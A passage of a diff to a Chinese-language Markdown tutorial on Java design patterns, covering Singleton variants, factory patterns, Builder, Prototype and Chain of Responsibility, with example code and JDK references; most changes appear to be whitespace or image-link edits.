-    private volatile static Singleton uniqueInstance;
+    private volatile static Singleton uniqueInstance;
 
-    private Singleton() {
-    }
+    private Singleton() {
+    }
 
-    public static Singleton getUniqueInstance() {
-        if (uniqueInstance == null) {
-            synchronized (Singleton.class) {
-                if (uniqueInstance == null) {
-                    uniqueInstance = new Singleton();
-                }
-            }
-        }
-        return uniqueInstance;
-    }
+    public static Singleton getUniqueInstance() {
+        if (uniqueInstance == null) {
+            synchronized (Singleton.class) {
+                if (uniqueInstance == null) {
+                    uniqueInstance = new Singleton();
+                }
+            }
+        }
+        return uniqueInstance;
+    }
 }
 ```
 
-考虑下面的实现，也就是只使用了一个 if 语句。在 uniqueInstance == null 的情况下，如果两个线程都执行了 if 语句，那么两个线程都会进入 if 语句块内。虽然在 if 语句块内有加锁操作，但是两个线程都会执行 `uniqueInstance = new Singleton();` 这条语句，只是先后的问题，那么就会进行两次实例化。因此必须使用双重校验锁，也就是需要使用两个 if 语句。
+考虑下面的实现，也就是只使用了一个 if 语句。在 uniqueInstance == null 的情况下，如果两个线程都执行了 if 语句，那么两个线程都会进入 if 语句块内。虽然在 if 语句块内有加锁操作，但是两个线程都会执行 `uniqueInstance = new Singleton();` 这条语句，只是先后的问题，那么就会进行两次实例化。因此必须使用双重校验锁，也就是需要使用两个 if 语句。
 
 ```java
-if (uniqueInstance == null) {
-    synchronized (Singleton.class) {
-        uniqueInstance = new Singleton();
-    }
+if (uniqueInstance == null) {
+    synchronized (Singleton.class) {
+        uniqueInstance = new Singleton();
+    }
 }
 ```
 
-uniqueInstance 采用 volatile 关键字修饰也是很有必要的， `uniqueInstance = new Singleton();` 这段代码其实是分为三步执行：
+uniqueInstance 采用 volatile 关键字修饰也是很有必要的， `uniqueInstance = new Singleton();` 这段代码其实是分为三步执行：
 
-1. 为 uniqueInstance 分配内存空间
-2. 初始化 uniqueInstance
-3. 将 uniqueInstance 指向分配的内存地址
+1. 为 uniqueInstance 分配内存空间
+2. 初始化 uniqueInstance
+3. 将 uniqueInstance 指向分配的内存地址
 
-但是由于 JVM 具有指令重排的特性，执行顺序有可能变成 1>3>2。指令重排在单线程环境下不会出现问题，但是在多线程环境下会导致一个线程获得还没有初始化的实例。例如，线程 T<sub>1</sub> 执行了 1 和 3，此时 T<sub>2</sub> 调用 getUniqueInstance() 后发现 uniqueInstance 不为空，因此返回 uniqueInstance，但此时 uniqueInstance 还未被初始化。
+但是由于 JVM 具有指令重排的特性，执行顺序有可能变成 1>3>2。指令重排在单线程环境下不会出现问题，但是在多线程环境下会导致一个线程获得还没有初始化的实例。例如，线程 T<sub>1</sub> 执行了 1 和 3，此时 T<sub>2</sub> 调用 getUniqueInstance() 后发现 uniqueInstance 不为空，因此返回 uniqueInstance，但此时 uniqueInstance 还未被初始化。
 
-使用 volatile 可以禁止 JVM 的指令重排，保证在多线程环境下也能正常运行。
+使用 volatile 可以禁止 JVM 的指令重排，保证在多线程环境下也能正常运行。
 
-#### Ⅴ 静态内部类实现
+#### Ⅴ 静态内部类实现
 
-当 Singleton 类加载时，静态内部类 SingletonHolder 没有被加载进内存。只有当调用 `getUniqueInstance()` 方法从而触发 `SingletonHolder.INSTANCE` 时 SingletonHolder 才会被加载，此时初始化 INSTANCE 实例，并且 JVM 能确保 INSTANCE 只被实例化一次。
+当 Singleton 类加载时，静态内部类 SingletonHolder 没有被加载进内存。只有当调用 `getUniqueInstance()` 方法从而触发 `SingletonHolder.INSTANCE` 时 SingletonHolder 才会被加载，此时初始化 INSTANCE 实例，并且 JVM 能确保 INSTANCE 只被实例化一次。
 
-这种方式不仅具有延迟初始化的好处，而且由 JVM 提供了对线程安全的支持。
+这种方式不仅具有延迟初始化的好处，而且由 JVM 提供了对线程安全的支持。
 
 ```java
-public class Singleton {
+public class Singleton {
 
-    private Singleton() {
-    }
+    private Singleton() {
+    }
 
-    private static class SingletonHolder {
-        private static final Singleton INSTANCE = new Singleton();
-    }
+    private static class SingletonHolder {
+        private static final Singleton INSTANCE = new Singleton();
+    }
 
-    public static Singleton getUniqueInstance() {
-        return SingletonHolder.INSTANCE;
-    }
+    public static Singleton getUniqueInstance() {
+        return SingletonHolder.INSTANCE;
+    }
 }
 ```
 
-#### Ⅵ 枚举实现
+#### Ⅵ 枚举实现
 
 ```java
-public enum Singleton {
+public enum Singleton {
 
-    INSTANCE;
+    INSTANCE;
 
-    private String objName;
+    private String objName;
 
 
-    public String getObjName() {
-        return objName;
-    }
+    public String getObjName() {
+        return objName;
+    }
 
 
-    public void setObjName(String objName) {
-        this.objName = objName;
-    }
+    public void setObjName(String objName) {
+        this.objName = objName;
+    }
 
 
-    public static void main(String[] args) {
+    public static void main(String[] args) {
 
-        // 单例测试
-        Singleton firstSingleton = Singleton.INSTANCE;
-        firstSingleton.setObjName("firstName");
-        System.out.println(firstSingleton.getObjName());
-        Singleton secondSingleton = Singleton.INSTANCE;
-        secondSingleton.setObjName("secondName");
-        System.out.println(firstSingleton.getObjName());
-        System.out.println(secondSingleton.getObjName());
+        // 单例测试
+        Singleton firstSingleton = Singleton.INSTANCE;
+        firstSingleton.setObjName("firstName");
+        System.out.println(firstSingleton.getObjName());
+        Singleton secondSingleton = Singleton.INSTANCE;
+        secondSingleton.setObjName("secondName");
+        System.out.println(firstSingleton.getObjName());
+        System.out.println(secondSingleton.getObjName());
 
-        // 反射获取实例测试
-        try {
-            Singleton[] enumConstants = Singleton.class.getEnumConstants();
-            for (Singleton enumConstant : enumConstants) {
-                System.out.println(enumConstant.getObjName());
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
+        // 反射获取实例测试
+        try {
+            Singleton[] enumConstants = Singleton.class.getEnumConstants();
+            for (Singleton enumConstant : enumConstants) {
+                System.out.println(enumConstant.getObjName());
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
 }
 ```
 
@@ -227,339 +192,339 @@ secondName
 secondName
 ```
 
-该实现在多次序列化再进行反序列化之后，不会得到多个实例。而其它实现需要使用 transient 修饰所有字段，并且实现序列化和反序列化的方法。
+该实现在多次序列化再进行反序列化之后，不会得到多个实例。而其它实现需要使用 transient 修饰所有字段，并且实现序列化和反序列化的方法。
 
-该实现可以防止反射攻击。在其它实现中，通过 setAccessible() 方法可以将私有构造函数的访问级别设置为 public，然后调用构造函数从而实例化对象，如果要防止这种攻击，需要在构造函数中添加防止多次实例化的代码。该实现是由 JVM 保证只会实例化一次，因此不会出现上述的反射攻击。
+该实现可以防止反射攻击。在其它实现中，通过 setAccessible() 方法可以将私有构造函数的访问级别设置为 public，然后调用构造函数从而实例化对象，如果要防止这种攻击，需要在构造函数中添加防止多次实例化的代码。该实现是由 JVM 保证只会实例化一次，因此不会出现上述的反射攻击。
 
-### Examples
+### Examples
 
-- Logger Classes
-- Configuration Classes
-- Accesing resources in shared mode
-- Factories implemented as Singletons
+- Logger Classes
+- Configuration Classes
+- Accesing resources in shared mode
+- Factories implemented as Singletons
 
-### JDK
+### JDK
 
-- [java.lang.Runtime#getRuntime()](http://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html#getRuntime%28%29)
-- [java.awt.Desktop#getDesktop()](http://docs.oracle.com/javase/8/docs/api/java/awt/Desktop.html#getDesktop--)
-- [java.lang.System#getSecurityManager()](http://docs.oracle.com/javase/8/docs/api/java/lang/System.html#getSecurityManager--)
+- [java.lang.Runtime#getRuntime()](http://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html#getRuntime%28%29)
+- [java.awt.Desktop#getDesktop()](http://docs.oracle.com/javase/8/docs/api/java/awt/Desktop.html#getDesktop--)
+- [java.lang.System#getSecurityManager()](http://docs.oracle.com/javase/8/docs/api/java/lang/System.html#getSecurityManager--)
 
-## 2. 简单工厂（Simple Factory）
+## 2. 简单工厂（Simple Factory）
 
-### Intent
+### Intent
 
 在创建一个对象时不向客户暴露内部细节，并提供一个创建对象的通用接口。
 
-### Class Diagram
+### Class Diagram
 
 简单工厂把实例化的操作单独放到一个类中，这个类就成为简单工厂类，让简单工厂类来决定应该用哪个具体子类来实例化。
 
 这样做能把客户类和具体子类的实现解耦，客户类不再需要知道有哪些子类以及应当实例化哪个子类。客户类往往有多个，如果不使用简单工厂，那么所有的客户类都要知道所有子类的细节。而且一旦子类发生改变，例如增加子类，那么所有的客户类都要进行修改。
 
-<div align="center"> <img src="pics/c79da808-0f28-4a36-bc04-33ccc5b83c13.png"/> </div><br>
+![](index_files/c79da808-0f28-4a36-bc04-33ccc5b83c13.png)
 
-### Implementation
+### Implementation
 
 ```java
-public interface Product {
+public interface Product {
 }
 ```
 
 ```java
-public class ConcreteProduct implements Product {
+public class ConcreteProduct implements Product {
 }
 ```
 
 ```java
-public class ConcreteProduct1 implements Product {
+public class ConcreteProduct1 implements Product {
 }
 ```
 
 ```java
-public class ConcreteProduct2 implements Product {
+public class ConcreteProduct2 implements Product {
 }
 ```
 
-以下的 Client 类包含了实例化的代码，这是一种错误的实现。如果在客户类中存在这种实例化代码，就需要考虑将代码放到简单工厂中。
+以下的 Client 类包含了实例化的代码，这是一种错误的实现。如果在客户类中存在这种实例化代码，就需要考虑将代码放到简单工厂中。
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        int type = 1;
-        Product product;
-        if (type == 1) {
-            product = new ConcreteProduct1();
-        } else if (type == 2) {
-            product = new ConcreteProduct2();
-        } else {
-            product = new ConcreteProduct();
-        }
-        // do something with the product
-    }
+    public static void main(String[] args) {
+        int type = 1;
+        Product product;
+        if (type == 1) {
+            product = new ConcreteProduct1();
+        } else if (type == 2) {
+            product = new ConcreteProduct2();
+        } else {
+            product = new ConcreteProduct();
+        }
+        // do something with the product
+    }
 }
 ```
 
-以下的 SimpleFactory 是简单工厂实现，它被所有需要进行实例化的客户类调用。
+以下的 SimpleFactory 是简单工厂实现，它被所有需要进行实例化的客户类调用。
 
 ```java
-public class SimpleFactory {
+public class SimpleFactory {
 
-    public Product createProduct(int type) {
-        if (type == 1) {
-            return new ConcreteProduct1();
-        } else if (type == 2) {
-            return new ConcreteProduct2();
-        }
-        return new ConcreteProduct();
-    }
+    public Product createProduct(int type) {
+        if (type == 1) {
+            return new ConcreteProduct1();
+        } else if (type == 2) {
+            return new ConcreteProduct2();
+        }
+        return new ConcreteProduct();
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        SimpleFactory simpleFactory = new SimpleFactory();
-        Product product = simpleFactory.createProduct(1);
-        // do something with the product
-    }
+    public static void main(String[] args) {
+        SimpleFactory simpleFactory = new SimpleFactory();
+        Product product = simpleFactory.createProduct(1);
+        // do something with the product
+    }
 }
 ```
 
-## 3. 工厂方法（Factory Method）
+## 3. 工厂方法（Factory Method）
 
-### Intent
+### Intent
 
 定义了一个创建对象的接口，但由子类决定要实例化哪个类。工厂方法把实例化操作推迟到子类。
 
-### Class Diagram
+### Class Diagram
 
 在简单工厂中，创建对象的是另一个类，而在工厂方法中，是由子类来创建对象。
 
-下图中，Factory 有一个 doSomething() 方法，这个方法需要用到一个产品对象，这个产品对象由 factoryMethod() 方法创建。该方法是抽象的，需要由子类去实现。
+下图中，Factory 有一个 doSomething() 方法，这个方法需要用到一个产品对象，这个产品对象由 factoryMethod() 方法创建。该方法是抽象的，需要由子类去实现。
 
-<div align="center"> <img src="pics/1818e141-8700-4026-99f7-900a545875f5.png"/> </div><br>
+![](index_files/1818e141-8700-4026-99f7-900a545875f5.png)
 
-### Implementation
+### Implementation
 
 ```java
-public abstract class Factory {
-    abstract public Product factoryMethod();
-    public void doSomething() {
-        Product product = factoryMethod();
-        // do something with the product
-    }
+public abstract class Factory {
+    abstract public Product factoryMethod();
+    public void doSomething() {
+        Product product = factoryMethod();
+        // do something with the product
+    }
 }
 ```
 
 ```java
-public class ConcreteFactory extends Factory {
-    public Product factoryMethod() {
-        return new ConcreteProduct();
-    }
+public class ConcreteFactory extends Factory {
+    public Product factoryMethod() {
+        return new ConcreteProduct();
+    }
 }
 ```
 
 ```java
-public class ConcreteFactory1 extends Factory {
-    public Product factoryMethod() {
-        return new ConcreteProduct1();
-    }
+public class ConcreteFactory1 extends Factory {
+    public Product factoryMethod() {
+        return new ConcreteProduct1();
+    }
 }
 ```
 
 ```java
-public class ConcreteFactory2 extends Factory {
-    public Product factoryMethod() {
-        return new ConcreteProduct2();
-    }
+public class ConcreteFactory2 extends Factory {
+    public Product factoryMethod() {
+        return new ConcreteProduct2();
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- [java.util.Calendar](http://docs.oracle.com/javase/8/docs/api/java/util/Calendar.html#getInstance--)
-- [java.util.ResourceBundle](http://docs.oracle.com/javase/8/docs/api/java/util/ResourceBundle.html#getBundle-java.lang.String-)
-- [java.text.NumberFormat](http://docs.oracle.com/javase/8/docs/api/java/text/NumberFormat.html#getInstance--)
-- [java.nio.charset.Charset](http://docs.oracle.com/javase/8/docs/api/java/nio/charset/Charset.html#forName-java.lang.String-)
-- [java.net.URLStreamHandlerFactory](http://docs.oracle.com/javase/8/docs/api/java/net/URLStreamHandlerFactory.html#createURLStreamHandler-java.lang.String-)
-- [java.util.EnumSet](https://docs.oracle.com/javase/8/docs/api/java/util/EnumSet.html#of-E-)
-- [javax.xml.bind.JAXBContext](https://docs.oracle.com/javase/8/docs/api/javax/xml/bind/JAXBContext.html#createMarshaller--)
+- [java.util.Calendar](http://docs.oracle.com/javase/8/docs/api/java/util/Calendar.html#getInstance--)
+- [java.util.ResourceBundle](http://docs.oracle.com/javase/8/docs/api/java/util/ResourceBundle.html#getBundle-java.lang.String-)
+- [java.text.NumberFormat](http://docs.oracle.com/javase/8/docs/api/java/text/NumberFormat.html#getInstance--)
+- [java.nio.charset.Charset](http://docs.oracle.com/javase/8/docs/api/java/nio/charset/Charset.html#forName-java.lang.String-)
+- [java.net.URLStreamHandlerFactory](http://docs.oracle.com/javase/8/docs/api/java/net/URLStreamHandlerFactory.html#createURLStreamHandler-java.lang.String-)
+- [java.util.EnumSet](https://docs.oracle.com/javase/8/docs/api/java/util/EnumSet.html#of-E-)
+- [javax.xml.bind.JAXBContext](https://docs.oracle.com/javase/8/docs/api/javax/xml/bind/JAXBContext.html#createMarshaller--)
 
-## 4. 抽象工厂（Abstract Factory）
+## 4. 抽象工厂（Abstract Factory）
 
-### Intent
+### Intent
 
-提供一个接口，用于创建  **相关的对象家族** 。
+提供一个接口，用于创建 **相关的对象家族**。
 
-### Class Diagram
+### Class Diagram
 
 抽象工厂模式创建的是对象家族，也就是很多对象而不是一个对象，并且这些对象是相关的，也就是说必须一起创建出来。而工厂方法模式只是用于创建一个对象，这和抽象工厂模式有很大不同。
 
-抽象工厂模式用到了工厂方法模式来创建单一对象，AbstractFactory 中的 createProductA() 和 createProductB() 方法都是让子类来实现，这两个方法单独来看就是在创建一个对象，这符合工厂方法模式的定义。
+抽象工厂模式用到了工厂方法模式来创建单一对象，AbstractFactory 中的 createProductA() 和 createProductB() 方法都是让子类来实现，这两个方法单独来看就是在创建一个对象，这符合工厂方法模式的定义。
 
-至于创建对象的家族这一概念是在 Client 体现，Client 要通过 AbstractFactory 同时调用两个方法来创建出两个对象，在这里这两个对象就有很大的相关性，Client 需要同时创建出这两个对象。
+至于创建对象的家族这一概念是在 Client 体现，Client 要通过 AbstractFactory 同时调用两个方法来创建出两个对象，在这里这两个对象就有很大的相关性，Client 需要同时创建出这两个对象。
 
-从高层次来看，抽象工厂使用了组合，即 Cilent 组合了 AbstractFactory，而工厂方法模式使用了继承。
+从高层次来看，抽象工厂使用了组合，即 Cilent 组合了 AbstractFactory，而工厂方法模式使用了继承。
 
-<div align="center"> <img src="pics/8668a3e1-c9c7-4fcb-98b2-a96a5d841579.png"/> </div><br>
+![](index_files/8668a3e1-c9c7-4fcb-98b2-a96a5d841579.png)
 
-### Implementation
+### Implementation
 
 ```java
-public class AbstractProductA {
+public class AbstractProductA {
 }
 ```
 
 ```java
-public class AbstractProductB {
+public class AbstractProductB {
 }
 ```
 
 ```java
-public class ProductA1 extends AbstractProductA {
+public class ProductA1 extends AbstractProductA {
 }
 ```
 
 ```java
-public class ProductA2 extends AbstractProductA {
+public class ProductA2 extends AbstractProductA {
 }
 ```
 
 ```java
-public class ProductB1 extends AbstractProductB {
+public class ProductB1 extends AbstractProductB {
 }
 ```
 
 ```java
-public class ProductB2 extends AbstractProductB {
+public class ProductB2 extends AbstractProductB {
 }
 ```
 
 ```java
-public abstract class AbstractFactory {
-    abstract AbstractProductA createProductA();
-    abstract AbstractProductB createProductB();
+public abstract class AbstractFactory {
+    abstract AbstractProductA createProductA();
+    abstract AbstractProductB createProductB();
 }
 ```
 
 ```java
-public class ConcreteFactory1 extends AbstractFactory {
-    AbstractProductA createProductA() {
-        return new ProductA1();
-    }
+public class ConcreteFactory1 extends AbstractFactory {
+    AbstractProductA createProductA() {
+        return new ProductA1();
+    }
 
-    AbstractProductB createProductB() {
-        return new ProductB1();
-    }
+    AbstractProductB createProductB() {
+        return new ProductB1();
+    }
 }
 ```
 
 ```java
-public class ConcreteFactory2 extends AbstractFactory {
-    AbstractProductA createProductA() {
-        return new ProductA2();
-    }
+public class ConcreteFactory2 extends AbstractFactory {
+    AbstractProductA createProductA() {
+        return new ProductA2();
+    }
 
-    AbstractProductB createProductB() {
-        return new ProductB2();
-    }
+    AbstractProductB createProductB() {
+        return new ProductB2();
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        AbstractFactory abstractFactory = new ConcreteFactory1();
-        AbstractProductA productA = abstractFactory.createProductA();
-        AbstractProductB productB = abstractFactory.createProductB();
-        // do something with productA and productB
-    }
+public class Client {
+    public static void main(String[] args) {
+        AbstractFactory abstractFactory = new ConcreteFactory1();
+        AbstractProductA productA = abstractFactory.createProductA();
+        AbstractProductB productB = abstractFactory.createProductB();
+        // do something with productA and productB
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- [javax.xml.parsers.DocumentBuilderFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/parsers/DocumentBuilderFactory.html)
-- [javax.xml.transform.TransformerFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/transform/TransformerFactory.html#newInstance--)
-- [javax.xml.xpath.XPathFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/xpath/XPathFactory.html#newInstance--)
+- [javax.xml.parsers.DocumentBuilderFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/parsers/DocumentBuilderFactory.html)
+- [javax.xml.transform.TransformerFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/transform/TransformerFactory.html#newInstance--)
+- [javax.xml.xpath.XPathFactory](http://docs.oracle.com/javase/8/docs/api/javax/xml/xpath/XPathFactory.html#newInstance--)
 
-## 5. 生成器（Builder）
+## 5. 生成器（Builder）
 
-### Intent
+### Intent
 
 封装一个对象的构造过程，并允许按步骤构造。
 
-### Class Diagram
+### Class Diagram
 
-<div align="center"> <img src="pics/13b0940e-d1d7-4b17-af4f-b70cb0a75e08.png"/> </div><br>
+![](index_files/13b0940e-d1d7-4b17-af4f-b70cb0a75e08.png)
 
-### Implementation
+### Implementation
 
-以下是一个简易的 StringBuilder 实现，参考了 JDK 1.8 源码。
+以下是一个简易的 StringBuilder 实现，参考了 JDK 1.8 源码。
 
 ```java
-public class AbstractStringBuilder {
-    protected char[] value;
+public class AbstractStringBuilder {
+    protected char[] value;
 
-    protected int count;
+    protected int count;
 
-    public AbstractStringBuilder(int capacity) {
-        count = 0;
-        value = new char[capacity];
-    }
+    public AbstractStringBuilder(int capacity) {
+        count = 0;
+        value = new char[capacity];
+    }
 
-    public AbstractStringBuilder append(char c) {
-        ensureCapacityInternal(count + 1);
-        value[count++] = c;
-        return this;
-    }
+    public AbstractStringBuilder append(char c) {
+        ensureCapacityInternal(count + 1);
+        value[count++] = c;
+        return this;
+    }
 
-    private void ensureCapacityInternal(int minimumCapacity) {
-        // overflow-conscious code
-        if (minimumCapacity - value.length > 0)
-            expandCapacity(minimumCapacity);
-    }
+    private void ensureCapacityInternal(int minimumCapacity) {
+        // overflow-conscious code
+        if (minimumCapacity - value.length > 0)
+            expandCapacity(minimumCapacity);
+    }
 
-    void expandCapacity(int minimumCapacity) {
-        int newCapacity = value.length * 2 + 2;
-        if (newCapacity - minimumCapacity < 0)
-            newCapacity = minimumCapacity;
-        if (newCapacity < 0) {
-            if (minimumCapacity < 0) // overflow
-                throw new OutOfMemoryError();
-            newCapacity = Integer.MAX_VALUE;
-        }
-        value = Arrays.copyOf(value, newCapacity);
-    }
+    void expandCapacity(int minimumCapacity) {
+        int newCapacity = value.length * 2 + 2;
+        if (newCapacity - minimumCapacity < 0)
+            newCapacity = minimumCapacity;
+        if (newCapacity < 0) {
+            if (minimumCapacity < 0) // overflow
+                throw new OutOfMemoryError();
+            newCapacity = Integer.MAX_VALUE;
+        }
+        value = Arrays.copyOf(value, newCapacity);
+    }
 }
 ```
 
 ```java
-public class StringBuilder extends AbstractStringBuilder {
-    public StringBuilder() {
-        super(16);
-    }
+public class StringBuilder extends AbstractStringBuilder {
+    public StringBuilder() {
+        super(16);
+    }
 
-    @Override
-    public String toString() {
-        // Create a copy, don't share the array
-        return new String(value, 0, count);
-    }
+    @Override
+    public String toString() {
+        // Create a copy, don't share the array
+        return new String(value, 0, count);
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        StringBuilder sb = new StringBuilder();
-        final int count = 26;
-        for (int i = 0; i < count; i++) {
-            sb.append((char) ('a' + i));
-        }
-        System.out.println(sb.toString());
-    }
+public class Client {
+    public static void main(String[] args) {
+        StringBuilder sb = new StringBuilder();
+        final int count = 26;
+        for (int i = 0; i < count; i++) {
+            sb.append((char) ('a' + i));
+        }
+        System.out.println(sb.toString());
+    }
 }
 ```
 
@@ -567,60 +532,60 @@ public class Client {
 abcdefghijklmnopqrstuvwxyz
 ```
 
-### JDK
+### JDK
 
-- [java.lang.StringBuilder](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuilder.html)
-- [java.nio.ByteBuffer](http://docs.oracle.com/javase/8/docs/api/java/nio/ByteBuffer.html#put-byte-)
-- [java.lang.StringBuffer](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuffer.html#append-boolean-)
-- [java.lang.Appendable](http://docs.oracle.com/javase/8/docs/api/java/lang/Appendable.html)
-- [Apache Camel builders](https://github.com/apache/camel/tree/0e195428ee04531be27a0b659005e3aa8d159d23/camel-core/src/main/java/org/apache/camel/builder)
+- [java.lang.StringBuilder](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuilder.html)
+- [java.nio.ByteBuffer](http://docs.oracle.com/javase/8/docs/api/java/nio/ByteBuffer.html#put-byte-)
+- [java.lang.StringBuffer](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuffer.html#append-boolean-)
+- [java.lang.Appendable](http://docs.oracle.com/javase/8/docs/api/java/lang/Appendable.html)
+- [Apache Camel builders](https://github.com/apache/camel/tree/0e195428ee04531be27a0b659005e3aa8d159d23/camel-core/src/main/java/org/apache/camel/builder)
 
-## 6. 原型模式（Prototype）
+## 6. 原型模式（Prototype）
 
-### Intent
+### Intent
 
 使用原型实例指定要创建对象的类型，通过复制这个原型来创建新对象。
 
-### Class Diagram
+### Class Diagram
 
-<div align="center"> <img src="pics/a40661e4-1a71-46d2-a158-ff36f7fc3331.png"/> </div><br>
+![](index_files/a40661e4-1a71-46d2-a158-ff36f7fc3331.png)
 
-### Implementation
+### Implementation
 
 ```java
-public abstract class Prototype {
-    abstract Prototype myClone();
+public abstract class Prototype {
+    abstract Prototype myClone();
 }
 ```
 
 ```java
-public class ConcretePrototype extends Prototype {
+public class ConcretePrototype extends Prototype {
 
-    private String filed;
+    private String filed;
 
-    public ConcretePrototype(String filed) {
-        this.filed = filed;
-    }
+    public ConcretePrototype(String filed) {
+        this.filed = filed;
+    }
 
-    @Override
-    Prototype myClone() {
-        return new ConcretePrototype(filed);
-    }
+    @Override
+    Prototype myClone() {
+        return new ConcretePrototype(filed);
+    }
 
-    @Override
-    public String toString() {
-        return filed;
-    }
+    @Override
+    public String toString() {
+        return filed;
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Prototype prototype = new ConcretePrototype("abc");
-        Prototype clone = prototype.myClone();
-        System.out.println(clone.toString());
-    }
+public class Client {
+    public static void main(String[] args) {
+        Prototype prototype = new ConcretePrototype("abc");
+        Prototype clone = prototype.myClone();
+        System.out.println(clone.toString());
+    }
 }
 ```
 
@@ -628,379 +593,379 @@ public class Client {
 abc
 ```
 
-### JDK
+### JDK
 
-- [java.lang.Object#clone()](http://docs.oracle.com/javase/8/docs/api/java/lang/Object.html#clone%28%29)
+- [java.lang.Object#clone()](http://docs.oracle.com/javase/8/docs/api/java/lang/Object.html#clone%28%29)
 
-# 三、行为型
+# 三、行为型
 
-## 1. 责任链（Chain Of Responsibility）
+## 1. 责任链（Chain Of Responsibility）
 
-### Intent
+### Intent
 
 使多个对象都有机会处理请求，从而避免请求的发送者和接收者之间的耦合关系。将这些对象连成一条链，并沿着这条链发送该请求，直到有一个对象处理它为止。
 
-### Class Diagram
+### Class Diagram
 
-- Handler：定义处理请求的接口，并且实现后继链（successor）
+- Handler：定义处理请求的接口，并且实现后继链（successor）
 
-<div align="center"> <img src="pics/691f11eb-31a7-46be-9de1-61f433c4b3c7.png"/> </div><br>
+![](index_files/691f11eb-31a7-46be-9de1-61f433c4b3c7.png)
 
-### Implementation
+### Implementation
 
 ```java
-public abstract class Handler {
+public abstract class Handler {
 
-    protected Handler successor;
+    protected Handler successor;
 
 
-    public Handler(Handler successor) {
-        this.successor = successor;
-    }
+    public Handler(Handler successor) {
+        this.successor = successor;
+    }
 
 
-    protected abstract void handleRequest(Request request);
+    protected abstract void handleRequest(Request request);
 }
 ```
 
 ```java
-public class ConcreteHandler1 extends Handler {
+public class ConcreteHandler1 extends Handler {
 
-    public ConcreteHandler1(Handler successor) {
-        super(successor);
-    }
+    public ConcreteHandler1(Handler successor) {
+        super(successor);
+    }
 
 
-    @Override
-    protected void handleRequest(Request request) {
-        if (request.getType() == RequestType.TYPE1) {
-            System.out.println(request.getName() + " is handle by ConcreteHandler1");
-            return;
-        }
-        if (successor != null) {
-            successor.handleRequest(request);
-        }
-    }
+    @Override
+    protected void handleRequest(Request request) {
+        if (request.getType() == RequestType.TYPE1) {
+            System.out.println(request.getName() + " is handle by ConcreteHandler1");
+            return;
+        }
+        if (successor != null) {
+            successor.handleRequest(request);
+        }
+    }
 }
 ```
 
 ```java
-public class ConcreteHandler2 extends Handler {
+public class ConcreteHandler2 extends Handler {
 
-    public ConcreteHandler2(Handler successor) {
-        super(successor);
-    }
+    public ConcreteHandler2(Handler successor) {
+        super(successor);
+    }
 
 
-    @Override
-    protected void handleRequest(Request request) {
-        if (request.getType() == RequestType.TYPE2) {
-            System.out.println(request.getName() + " is handle by ConcreteHandler2");
-            return;
-        }
-        if (successor != null) {
-            successor.handleRequest(request);
-        }
-    }
+    @Override
+    protected void handleRequest(Request request) {
+        if (request.getType() == RequestType.TYPE2) {
+            System.out.println(request.getName() + " is handle by ConcreteHandler2");
+            return;
+        }
+        if (successor != null) {
+            successor.handleRequest(request);
+        }
+    }
 }
 ```
 
 ```java
-public class Request {
+public class Request {
 
-    private RequestType type;
-    private String name;
+    private RequestType type;
+    private String name;
 
 
-    public Request(RequestType type, String name) {
-        this.type = type;
-        this.name = name;
-    }
+    public Request(RequestType type, String name) {
+        this.type = type;
+        this.name = name;
+    }
 
 
-    public RequestType getType() {
-        return type;
-    }
+    public RequestType getType() {
+        return type;
+    }
 
 
-    public String getName() {
-        return name;
-    }
+    public String getName() {
+        return name;
+    }
 }
 
 ```
 
 ```java
-public enum RequestType {
-    TYPE1, TYPE2
+public enum RequestType {
+    TYPE1, TYPE2
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
+    public static void main(String[] args) {
 
-        Handler handler1 = new ConcreteHandler1(null);
-        Handler handler2 = new ConcreteHandler2(handler1);
+        Handler handler1 = new ConcreteHandler1(null);
+        Handler handler2 = new ConcreteHandler2(handler1);
 
-        Request request1 = new Request(RequestType.TYPE1, "request1");
-        handler2.handleRequest(request1);
+        Request request1 = new Request(RequestType.TYPE1, "request1");
+        handler2.handleRequest(request1);
 
-        Request request2 = new Request(RequestType.TYPE2, "request2");
-        handler2.handleRequest(request2);
-    }
+        Request request2 = new Request(RequestType.TYPE2, "request2");
+        handler2.handleRequest(request2);
+    }
 }
 ```
 
 ```html
-request1 is handle by ConcreteHandler1
-request2 is handle by ConcreteHandler2
+request1 is handle by ConcreteHandler1
+request2 is handle by ConcreteHandler2
 ```
 
-### JDK
+### JDK
 
-- [java.util.logging.Logger#log()](http://docs.oracle.com/javase/8/docs/api/java/util/logging/Logger.html#log%28java.util.logging.Level,%20java.lang.String%29)
-- [Apache Commons Chain](https://commons.apache.org/proper/commons-chain/index.html)
-- [javax.servlet.Filter#doFilter()](http://docs.oracle.com/javaee/7/api/javax/servlet/Filter.html#doFilter-javax.servlet.ServletRequest-javax.servlet.ServletResponse-javax.servlet.FilterChain-)
+- [java.util.logging.Logger#log()](http://docs.oracle.com/javase/8/docs/api/java/util/logging/Logger.html#log%28java.util.logging.Level,%20java.lang.String%29)
+- [Apache Commons Chain](https://commons.apache.org/proper/commons-chain/index.html)
+- [javax.servlet.Filter#doFilter()](http://docs.oracle.com/javaee/7/api/javax/servlet/Filter.html#doFilter-javax.servlet.ServletRequest-javax.servlet.ServletResponse-javax.servlet.FilterChain-)
 
-## 2. 命令（Command）
+## 2. 命令（Command）
 
-### Intent
+### Intent
 
 将命令封装成对象中，具有以下作用：
 
